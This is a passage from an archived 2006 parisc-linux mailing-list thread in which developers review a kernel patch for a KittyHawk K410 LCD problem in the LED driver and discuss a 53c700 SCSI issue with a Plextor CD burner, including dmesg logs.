	with ESMTP id 28374-07; Sat, 11 Nov 2006 17:45:29 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8A68F7D87D;
	Sat, 11 Nov 2006 17:45:27 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A569E7D87D
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Nov 2006 17:45:24 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28374-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Nov 2006 17:45:23 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 48C3C7D864
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Nov 2006 17:45:23 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 1105949400F; Sat, 11 Nov 2006 17:45:23 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.coditel.net (smtp-out.coditel.net [212.95.66.33])
	by mail.parisc-linux.org (Postfix) with ESMTP id AB51F49400E
	for <parisc-linux@parisc-linux.org>;
	Sat, 11 Nov 2006 17:45:21 -0700 (MST)
Original-Received: from smtp.coditel.net (localhost.localdomain [127.0.0.1])
	by smtp-out.coditel.net (Postfix) with ESMTP id 89441EB15D
	for <parisc-linux@parisc-linux.org>;
	Sun, 12 Nov 2006 01:45:20 +0100 (CET)
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.84.48.coditel.net
	[85.28.84.48]) by smtp.coditel.net (Postfix) with ESMTP id A6FE72FD1E
	for <parisc-linux@parisc-linux.org>;
	Sun, 12 Nov 2006 01:45:19 +0100 (CET)
Original-Received: from [172.20.1.248] (helo=localhost)
	by ibiza.bxl.tuxicoman.be with esmtps (TLSv1:AES256-SHA:256)
	(Exim 4.62) (envelope-from <gmsoft@tuxicoman.be>) id 1Gj3Rf-00019V-2c
	for parisc-linux@parisc-linux.org; Sun, 12 Nov 2006 01:43:35 +0100
X-Mailer: Sylpheed version 2.2.4 (GTK+ 2.8.19; i686-pc-linux-gnu)
X-AV-Checked: clean on smtp.coditel.net
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 3xs/dk8JeWU3WK2TZm9naBErL0tsZo2J
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25370

This is a multi-part message in MIME format.

--Multipart=_Sun__12_Nov_2006_01_45_35_+0100_v2fihL715RsiaKYq
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit


Hi All,

I've noticed that the LCD on my K410 is filled at a constant rate with black characters.
After some investigation, it looked like the code updating the led status was filling the LCD.

I believe there is not led support on K class but I didn't checked.

The attached patch disable the led_task, which is updating the led status, for KittyHawk hardware.

Thanks for reviewing :)

  Guy


-- 
Guy Martin
Gentoo Linux - HPPA port Lead


--Multipart=_Sun__12_Nov_2006_01_45_35_+0100_v2fihL715RsiaKYq
Content-Type: text/x-patch;
 name="no-led-on-kittyhawk.patch"
Content-Disposition: attachment;
 filename="no-led-on-kittyhawk.patch"
Content-Transfer-Encoding: 7bit

diff --git a/drivers/parisc/led.c b/drivers/parisc/led.c
index 8dac2ba..29cb1fe 100644
--- a/drivers/parisc/led.c
+++ b/drivers/parisc/led.c
@@ -56,6 +56,7 @@ #include <asm/uaccess.h>
    relatively large amount of CPU time, some of the calculations can be 
    turned off with the following variables (controlled via procfs) */
 
+static int no_led = 0;
 static int led_type __read_mostly = -1;
 static unsigned char lastleds;	/* LED state from most recent update */
 static unsigned int led_heartbeat __read_mostly = 1;
@@ -65,7 +66,7 @@ static char lcd_text[32]          __read
 static char lcd_text_default[32]  __read_mostly;
 
 
-static struct workqueue_struct *led_wq;
+static struct workqueue_struct *led_wq = NULL;
 static void led_work_func(void *);
 static DECLARE_WORK(led_task, led_work_func, NULL);
 
@@ -134,6 +135,9 @@ static int start_task(void) 
 	/* Display the default text now */
 	if (led_type == LED_HASLCD) lcd_print( lcd_text_default );
 
+	/* There is no led support on KittyHawk */
+	if (no_led) return 0;
+
 	/* Create the work queue and queue the LED task */
 	led_wq = create_singlethread_workqueue("led_wq");	
 	queue_work(led_wq, &led_task);
@@ -695,6 +699,7 @@ int __init led_init(void)
 	case 0x58B:		/* KittyHawk DC2 100 (K200) */
 		printk(KERN_INFO "%s: KittyHawk-Machine (hversion 0x%x) found, "
 				"LED detection skipped.\n", __FILE__, CPU_HVERSION);
+		no_led = 1;	/* no led support on KittyHawk */
 		goto found;	/* use the preinitialized values of lcd_info */
 	}
 

--Multipart=_Sun__12_Nov_2006_01_45_35_+0100_v2fihL715RsiaKYq
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Multipart=_Sun__12_Nov_2006_01_45_35_+0100_v2fihL715RsiaKYq--



From - Thu Nov 08 21:36:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] suppress led task for KittyHawk's LCD
Date: Sat, 11 Nov 2006 19:07:38 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20061112020737.GX16952@parisc-linux.org>
References: <20061112014535.f583cc92.gmsoft@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624619 27903 80.91.229.3 (22 Nov 2014 02:50:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:19 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: - Wed Jul 02 21:28:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Nov 2006 02:07:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx065) with SMTP; 12 Nov 2006 03:07:53 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1B3257D8A4;
	Sat, 11 Nov 2006 19:07:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28860-10; Sat, 11 Nov 2006 19:07:46 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 176C87D8B5;
	Sat, 11 Nov 2006 19:07:45 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BCBEB7D888
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Nov 2006 19:07:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28850-07 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Nov 2006 19:07:38 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id D6E4B7D87D
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Nov 2006 19:07:38 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 8649049400E; Sat, 11 Nov 2006 19:07:38 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 6841A494003; Sat, 11 Nov 2006 19:07:38 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20061112014535.f583cc92.gmsoft@tuxicoman.be>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: l+w0EUVnbXBtTrqHPTQ2gJwqLyUmZUgo
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25371

On Sun, Nov 12, 2006 at 01:45:35AM +0100, Guy Martin wrote:
> I've noticed that the LCD on my K410 is filled at a constant rate with black characters.
> After some investigation, it looked like the code updating the led status was filling the LCD.
> 
> I believe there is not led support on K class but I didn't checked.
> 
> The attached patch disable the led_task, which is updating the led status, for KittyHawk hardware.

That's clearly the wrong solution.  The led_task is responsible for
updating both LEDs and LCDs.  It should be calling led_LCD_driver()
which should be putting the image of a beating heart on the LCD panel.

It would be great if you could do some more debugging and figure out
what's going on here.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] suppress led task for KittyHawk's LCD
Date: Sun, 12 Nov 2006 15:44:51 +0100
Lines: 52
Approved: news@gmane.org
Message-ID: <20061112154451.6f9c7448.gmsoft@tuxicoman.be>
References: <20061112014535.f583cc92.gmsoft@tuxicoman.be>
	<20061112020737.GX16952@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624619 27908 80.91.229.3 (22 Nov 2014 02:50:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:19 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:28:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Nov 2006 14:45:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx080) with SMTP; 12 Nov 2006 15:45:24 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DD74B7D8C8;
	Sun, 12 Nov 2006 07:45:18 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09352-05; Sun, 12 Nov 2006 07:45:18 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F3B407D8BF;
	Sun, 12 Nov 2006 07:45:16 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 763BB7D8BD
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Nov 2006 07:45:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09352-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Nov 2006 07:45:13 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 1C64E7D8B8
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Nov 2006 07:45:13 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id A987749400F; Sun, 12 Nov 2006 07:45:12 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.coditel.net (smtp-out.coditel.net [212.95.66.33])
	by mail.parisc-linux.org (Postfix) with ESMTP id 2F760494007
	for <parisc-linux@parisc-linux.org>;
	Sun, 12 Nov 2006 07:45:03 -0700 (MST)
Original-Received: from smtp.coditel.net (localhost.localdomain [127.0.0.1])
	by smtp-out.coditel.net (Postfix) with ESMTP
	id ECBC6EB2F9; Sun, 12 Nov 2006 15:45:02 +0100 (CET)
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.84.48.coditel.net
	[85.28.84.48]) by smtp.coditel.net (Postfix) with ESMTP
	id 8EFB92FD68; Sun, 12 Nov 2006 15:44:57 +0100 (CET)
Original-Received: from bleh.bxl.tuxicoman.be ([2001:6f8:310:300:213:d4ff:fe5c:bd4f])
	by ibiza.bxl.tuxicoman.be with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.62) (envelope-from <gmsoft@tuxicoman.be>)
	id 1GjGYC-0001ts-F1; Sun, 12 Nov 2006 15:43:12 +0100
In-Reply-To: <20061112020737.GX16952@parisc-linux.org>
X-Mailer: Sylpheed version 2.2.9 (GTK+ 2.8.19; i686-pc-linux-gnu)
X-AV-Checked: clean on smtp.coditel.net
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: swthdM11YmYSfenCanc3yhZKWkZTQdSM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25372


Hi Matthew,

As far as I understand the code, led_LCD_driver() is only in charge of updating the led status. The led being a true led or a char on the LCD.
I can't find any documentation stating that the LCD on the K410 supports those chars. It only displays CPU01234 depending on the number of CPU you have at boot time.
The update of the LCD text is done via lcd_print() which doesn't use led_LCD_driver(). It only uses a reference to it to check if the device is correctly initialized.

If you tell me that led_LCD_driver() is supposed to work and it should display the right leds character, then led_LCD_driver() is buggy and needs to be fixed. Currently each time it's called, a char of the LCD become black for each leds that need updating. It goes from left to right and starts from the bottom row and then occure at the top row a bit later. If you echo something to /proc/pdc/lcd, you'll see the text for a few and then being overwritten.


Also, I actually sent the wrong patch. With the current version of the driver, only the odd chars from the string you pass is written on the lcd.
You need to set the min_cmd_delay to 80t of fix this.

@@ -695,6 +699,8 @@ int __init led_init(void)
        case 0x58B:             /* KittyHawk DC2 100 (K200) */
                printk(KERN_INFO "%s: KittyHawk-Machine (hversion 0x%x) found, "
                                "LED detection skipped.\n", __FILE__, CPU_HVERSION);
+               lcd_info.min_cmd_delay = 80;
+               no_led = 1;     /* no led support on KittyHawk */
                goto found;     /* use the preinitialized values of lcd_info */
        }
 

Regards,
  Guy



On Sat, 11 Nov 2006 19:07:38 -0700
Matthew Wilcox <matthew@wil.cx> wrote:

> On Sun, Nov 12, 2006 at 01:45:35AM +0100, Guy Martin wrote:
> > I've noticed that the LCD on my K410 is filled at a constant rate with black characters.
> > After some investigation, it looked like the code updating the led status was filling the LCD.
> > 
> > I believe there is not led support on K class but I didn't checked.
> > 
> > The attached patch disable the led_task, which is updating the led status, for KittyHawk hardware.
> 
> That's clearly the wrong solution.  The led_task is responsible for
> updating both LEDs and LCDs.  It should be calling led_LCD_driver()
> which should be putting the image of a beating heart on the LCD panel.
> 
> It would be great if you could do some more debugging and figure out
> what's going on here.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] K410 SCSI 53c700 issue with PLEXTOR PX-R820T
Date: Sun, 12 Nov 2006 16:03:50 +0100
Lines: 61
Approved: news@gmane.org
Message-ID: <20061112160350.8b7d4afd.gmsoft@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624619 27913 80.91.229.3 (22 Nov 2014 02:50:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:19 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:23 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Nov 2006 15:04:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 12 Nov 2006 16:04:32 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6068C7D8D7;
	Sun, 12 Nov 2006 08:04:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10002-09; Sun, 12 Nov 2006 08:04:28 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7F5877D8D8;
	Sun, 12 Nov 2006 08:04:26 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6E80E7D8D6
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Nov 2006 08:04:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10002-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Nov 2006 08:04:20 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 0B92B7D8D5
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Nov 2006 08:04:20 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id C101D49400E; Sun, 12 Nov 2006 08:04:19 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.coditel.net (smtp-out.coditel.net [212.95.66.33])
	by mail.parisc-linux.org (Postfix) with ESMTP id 3A7CE494007
	for <parisc-linux@parisc-linux.org>;
	Sun, 12 Nov 2006 08:03:58 -0700 (MST)
Original-Received: from smtp.coditel.net (localhost.localdomain [127.0.0.1])
	by smtp-out.coditel.net (Postfix) with ESMTP id F0348EB178
	for <parisc-linux@parisc-linux.org>;
	Sun, 12 Nov 2006 16:03:57 +0100 (CET)
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.84.48.coditel.net
	[85.28.84.48]) by smtp.coditel.net (Postfix) with ESMTP id 364E52FD3A
	for <parisc-linux@parisc-linux.org>;
	Sun, 12 Nov 2006 16:03:57 +0100 (CET)
Original-Received: from bleh.bxl.tuxicoman.be ([2001:6f8:310:300:213:d4ff:fe5c:bd4f])
	by ibiza.bxl.tuxicoman.be with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.62) (envelope-from <gmsoft@tuxicoman.be>) id 1GjGqa-0001vJ-Cg
	for parisc-linux@parisc-linux.org; Sun, 12 Nov 2006 16:02:12 +0100
X-Mailer: Sylpheed version 2.2.9 (GTK+ 2.8.19; i686-pc-linux-gnu)
X-AV-Checked: clean on smtp.coditel.net
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: OQpkcZUPX1VpCOuYY2FyF353SDc4NIzj
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25373


Hi all,


I'm experiencing an issue with the LASI 53c700 SCSI driver. It looks similar to the problem found by Joel earlier :
http://lists.parisc-linux.org/pipermail/parisc-linux/2006-July/029506.html
http://lists.parisc-linux.org/pipermail/parisc-linux/2006-September/030202.html

My plextor cd burner works fine on an x86 and on that K410 with HP-UX or linux 2.4.

This is how 2.4 detects it :
scsi3: (4:0) Synchronous at offset 8, period 100ns
  Vendor: PLEXTOR   Model: CD-R   PX-R820T   Rev: 1.08
  Type:   CD-ROM                             ANSI SCSI revision: 02

And this is how 2.6 detects it :
[42949430.090000]   Vendor: PLEXTOR   Model: CD-R   PX-R820T   Rev: 1.08
[42949430.150000]   Type:   CD-ROM                             ANSI SCSI revision: 02
[42949430.170000]  target2:0:4: Beginning Domain Validation
[42949430.180000]  target2:0:4: asynchronous
[42949430.190000]  target2:0:4: FAST-10 SCSI 10.0 MB/s ST (100 ns, offset 8)
[42949430.200000]  target2:0:4: Domain Validation skipping write tests
[42949430.210000]  target2:0:4: Ending Domain Validation


The main difference seems that 2.4 detects and syncronous drive while 2.6 detects an async one.

Full 2.4 dmesg : https://www.tuxicoman.be/temp/dmesg-2.4-53c700
Full 2.6 dmesg : https://www.tuxicoman.be/temp/dmesg-2.6-53c700
2.6 kernel config : https://www.tuxicoman.be/temp/k410-2.6.18.2-pa0.config

On my 2.6 kernel, when you try to mount it, you get the those error messages in loop.

[  297.870000] scsi2: (4:0) phase mismatch at 01e8, phase IO BSY DATA_IN
[  297.870000] scsi2: Bus Reset detected, executing command 4f7bb840, slot 4ff50520, dsp 001c01e8[01e8]
[  297.870000]  failing command because of reset, slot 4ff50520, cmnd 4f7bb840
[  327.880000] sr 2:0:4:0: New error handler wants to abort command
[  327.880000] 	sr 2:0:4:0: 
[  327.880000]         command: cdb[0]=0x0: 00 00 00 00 00 00
[  327.880000] scsi2: Bus Reset detected, executing command 4f7bb840, slot 4ff50520, dsp 001c0010[0010]
[  327.880000]  failing command because of reset, slot 4ff50520, cmnd 4f7bb840
[  327.890000] sr 2:0:4:0: New error handler wants BUS reset, cmd 4f7bb840
[  327.890000] 	sr 2:0:4:0: 
[  327.890000]         command: cdb[0]=0x0: 00 00 00 00 00 00
[  327.890000] scsi2: Bus Reset detected, executing command 00000000, slot 00000000, dsp 001c0010[0010]


As you can see in the dmesg, I have another CDROM drive on the same SCSI bus and this one works like a charm.



Please have a look at it and let me know if you need any other info.

Thanks,
  Guy
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] K410 SCSI 53c700 issue with PLEXTOR PX-R820T
Date: Sun, 12 Nov 2006 12:14:37 -0700
Lines: 38
Approved: news@gmane.org
Message-ID: <20061112191436.GY16952@parisc-linux.org>
References: <20061112160350.8b7d4afd.gmsoft@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624620 28138 80.91.229.3 (22 Nov 2014 02:50:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:20 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: - Wed Jul 02 21:28:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Nov 2006 19:14:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx039) with SMTP; 12 Nov 2006 20:14:48 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5600D7D8E8;
	Sun, 12 Nov 2006 12:14:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13743-07; Sun, 12 Nov 2006 12:14:45 -0700 (MST)
